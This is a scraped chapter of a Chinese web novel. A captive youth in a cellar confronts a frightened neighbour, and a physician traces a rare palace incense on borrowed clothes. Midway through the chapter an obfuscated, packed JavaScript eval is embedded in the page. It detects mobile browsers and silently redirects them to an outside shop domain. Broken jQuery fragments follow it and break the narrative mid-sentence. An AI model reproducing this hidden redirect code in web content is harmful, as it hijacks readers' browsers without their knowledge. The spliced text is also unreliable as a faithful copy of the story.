文趣网 > 其他小说 > 我不是正夫吗? > 12. 像狗一样
    因为迷阵的缘故,

    辛荷捡回来一条命。

    暗卫逮住了她,却不敢杀她,还是决定先把这事禀报给殿下。

    但没想到,就这么一会儿的功夫,李辞修刚才还在书房,现在却已经出府赴宴去了。

    因此。

    暗卫思索了半晌,

    最后,暂且先把她关进了地牢。

    而另一边,

    城南永安里,平民聚集的东桥巷子,此刻正热闹。

    赶上饭点,家家户户炊烟袅袅,张婶子给自家孩子烧完饭,然后便匆匆出了门,来到辛荷家——

    张婶子是辛荷的邻居。

    虽不常与人交际,但邻里之间少不了要互相帮衬,一来二去,你来我往的,辛荷与邻居们倒也还算熟悉。

    今天上午,

    她给杨原煎完药后,还回来找了一趟张婶子。

    杨原一天要喝两副药,晨起一副,睡前一副。

    辛荷拿了他的符,答应照看他几日,自然不会食言。

    但今天,

    因为要去抓红尾蛇的缘故,辛荷怕回来得太晚,夜里赶不及给他煎药,所以思来想去,最终还是拜托了张婶子,让她晚饭后去医馆一趟,帮杨原把药熬了。

    作为报酬,

    她给了张婶子十文钱。

    除此之外,她还把家里门锁钥匙一并给了张婶子——

    杨原没有换洗的衣服,

    上午的时候,他给了她一些银钱,让她帮他购买几身。

    但辛荷家中有现成的男子服饰。

    她先前给卫月买了许多衣服。

    但没想到,这人都沦落到这个地步了,身体却还金贵得要命。

    他穿粗麻和粗葛,竟会浑身起疹。

    而辛荷买来的衣服,全部都是由粗布制成的,她当时差点气笑了,但总不能真的让他痒死,所以只能又给他买了两身细布衣裳,而那几件粗布的就放进了衣橱里。

    这些衣服,她也穿不到,

    放着也是放着,还不如拿给杨原。

    于是,

    她让张婶子去医馆前,顺便去她家一趟,把这些衣服给杨原一起带过去。

    大家都是邻居,帮着点忙原本就不算什么,

    更何况,

    辛荷这姑娘平时虽锱铢必较,但为人也很朴实,不占小便宜,托人帮忙,该给的报酬一点也不会少,张婶子对她印象很好,所以欣然答应帮忙。

    这时候,

    拿着钥匙,

    张婶弯下身,去开辛荷家的门锁。

    已经入夜,

    周围光线晦暗,钥匙在锁眼边上划拉了好几圈,才终于找准位置。

    铜锁劣质,被打开的时候,发出“咔哒”的声响。

    地窖中,

    卫月听见这声音,眼珠微微转动。

    黑暗中,他维持着一个姿势,没骨头一样半倚在墙上,头微微侧着,直勾勾盯着地窖门,眼白爬上血丝。

    他觉得自己好像真的变成了一条狗,只要一听见外面的动静,就会迫不及待地往外看,就好像在等待主人回家一样。

    人被关久了都会这样吗?

    卫月不知道。

    但今天,

    他确实无比地期待辛荷回来。

    地窖里已经一片狼藉,

    地上脏污一片,除了溅落的粥水,还稀稀拉拉地散落着碎瓷片,他身前不远处的土墙,被砸出来一处凹陷——

    他一看见她送来的粥,就把它打翻了。

    手脚动不了,他就弯下身去,用嘴巴叼住粥碗,然后把那瓷碗狠狠地甩到了墙上。

    他不知道她是怎么敢的。

    已经被他那样侮辱了,她怎么还敢来,怎么还有脸来?

    挑着他睡着的时间,来给他送粥,她当他会感激她吗?

    卫月只觉得恶心。

    以为她不会再管他死活的时候,他并没有感知到什么情绪,但得知她来过的那一刻,他却突然愠怒起来。

    就算把那碗粥砸了,心头的郁气也没有消解分毫,这股情绪堵在胸口,令他忍不住干呕起来,以至于他迫切地想要做些什么,以此来缓解这种感觉。

    他迫切地想要羞辱她,

    更凶狠、更刻薄地羞辱她,说恶毒的话,把她贬损得一文不值,踩进泥地里。

    可是外面一点声音都没有。

    她一早就出去了,

    卫月一秒一秒地数着时间,

    可是外面的天应该都黑了,她为什么还不回来?

    那股子怨恨也因此,一刻不停地累加,就好像被不断拉紧的弓弦,一寸一寸地绷紧撑开,好像随时就要绷断。

    听见开门声的时候,

    那股情绪才突然一下有了落点。

    少年突然偏了偏头。

    紧接着,

    他弯下身,靠近了地上的口枷,红唇轻启,露出一点雪白贝齿——

    他像狗一样,叼起了那口枷,

    随后,

    他突然用力,狠狠地把口枷往地上敲,

    铁器被这么一敲,发出尖锐刺耳的声响,这破房子冬天甚至还有点漏风,又怎么能隔绝得了这样响亮的声音?

    外面的人听见声响,脚步微顿。

    再然后,

    那脚步才又响起,往地窖这里走来。

    卫月松了嘴,把口枷抛在地上。

    他聆听着外面的动静,听着脚步声一步、一步、一步,越来越近,越来越近。

    他心跳也随着脚步声的频率共振起来,甚至提前生出一股畅快的感觉,无声笑了起来,爬满血丝的眼睛死死盯着地窖门,恶毒的话已经到了嘴边。

    然而下一秒,地窖门被打开——

    灯光漏进来。

    卫月看清来人,

    却发现对方不是辛荷。

    ……

    辛荷不是第一次找张婶子帮忙了。

    她每天早出晚归,以往若家中有什么需要照应的,也会把钥匙交给张婶子。

    就算现在地窖里关了个人,她也仍旧没怎么避讳。

    当今天下并不太平,北方战乱,常有南下逃难的流民,这些人为了生存,有些会自卖给人牙子,但他们没有户籍,无法从正规牙行买卖,所以都是在黑市交易。

    官府对黑市买奴的事,也都是睁一只眼,闭一只眼。

    若有人问起来,也只是她从黑市买了个奴隶,然后这奴隶伤人,她把他关进地窖了而已,谁也没办法说什么。

    更何况婶子为人本分,辛荷也没想过她会打开地窖。

    但卫月平日里都是安安静静的,今天不知道发的什么癫,闹出如此动静,以至于张婶子还以为地窖进了什么动物,思来想去,最终还是把地窖门打开了。

    她提着纸灯,往下看去,

    却没想到,一眼下去,就看见里面坐了个人——

    少年模样虽美,

    但此刻,

    他披头散发,眼睛通红,嘴唇上还有些血迹,视线阴沉可怖,不管怎么看,都显得扭曲可怖。

    升斗小民用不起太好的东西,张婶子提着的灯,里面是劣蜡,烛火只有幽微一点,外面罩的是粗黄纸,暗淡的烛火透出来,就更暗淡了,

    这样暗的灯光,

    她乍一见到卫月,就好像见到鬼了一样,吓得眼前一黑,整个人重心不稳,一屁股就跌坐在地上,手脚并用,本能地往后挪,远离地窖门。

    可也就是这时,

    下面的人出声了:“她人呢?”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796850|210530||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>少年声音悦耳,却有一股居高临下的味道,若换作是旁人,恐怕会先询问找婶子的身份,可他不关心一个贱民的身份,也懒得同这贱民多说半个字。

    张婶子本能地回答:“我、我也不知道。”

    这话一落,

    下面的人安静下来。

    但片刻后,

    他又轻轻启唇:“带我出去。”

    出去?

    出哪去?

    当然是离开辛荷这里。

    这话的意思如此明显,但张婶子被吓得狠了,还没缓过神来,心脏砰砰地跳,脑子一片空白,没有回应。

    下面的人等了一会,

    随后似乎不耐烦了:“我给你钱。”他使唤一般:“墙角衣橱里有个青色香囊,里面有几片金叶子,你自去取。”

    这香囊是卫月的。

    流放时,他行李中夹带了不少财物。

    但被牙人带走的时候,他身上只贴身戴着这个香囊,里面只有几片金叶子,放在从前还不够扔水里听个响。

    牙人胆子小,想拿这香囊,但又不敢下手,于是,直到辛荷救走他时,这香囊也还在他身上。

    后来她替他擦身时,这香囊掉出来,卫月见到她把东西收进了衣橱。

    少年常年驱使旁人,即使沦落至此,但身上那种矜贵是从骨子里透出来的。

    张婶子从未见过什么贵人,先是被他吓了一跳,这时候又听见他用近乎命令的语气说话。

    她一时间,被这种高高在上的气息震慑住了,本能顺从,依言打开了衣橱。

    下一秒,

    她提着灯,

    果然在里面见到个香囊——

    绫罗织就,轻薄华美,在灯光下浮动浅浅的光泽,上面绣有同色暗纹,里面装着从未闻过的昂贵香料,气味扑鼻,甚至溢满了整个衣橱。

    张婶子从未见过如此华贵之物,

    她下意识拿起了香囊,

    但也就是这时候,

    她余光一抖,扫见柜子里整齐叠放着的几件粗布麻衣。

    紧接着,

    她突然又被拉回神智,想起自己这趟是来帮忙跑腿的。

    手里的香囊也变得烫手起来。

    张婶子看得出来,这种香囊不是平民能用的。

    她十分心惊,试图思考这香囊是哪来的,但她不知道地窖中少年的身份,也不知道辛荷和他的关系,更不敢问,想来想去,越想脑子越混乱。

    但不管怎么样,

    这香囊她是不敢拿的。

    于是她赶紧把东西放回了衣橱里,也不敢再回应卫月的话,连地窖门都不敢去关,强打起精神拿走下面几件粗布麻衣,飞快地离开了。

    等来到医馆,

    夜色已经很深了。

    张婶子把衣服交给杨原,随后便去熬药了。

    而这一边,

    等处理完手头事务,杨原把衣服抖开。

    却没想到,

    紧接着,他就闻到一股淡淡的香气——

    这气味……

    杨原皱了皱眉,直接把鼻子贴到了衣服上闻,越闻眉头皱得越紧。

    这气味闻起来十分熟悉,分明是宫中御制的合香,其中有几味香料稀少且珍贵,气味清冷绵长,先帝十分喜爱,特地将其命名为绛雪香。

    这香除了宫中宗亲以外,

    就只有京中几个权贵之家能用得上。

    其中一家,便是陈国公府。

    恰好此时,

    药熬完了,药童趁热端过来,

    杨原把人叫住:“熬药那婶子人呢?”

    如果不是腿摔断了,他就自己出去问了,但这时候,他腿刚动了一下,就疼得又跌坐下来:“去,快去问她,那衣服是哪来的?”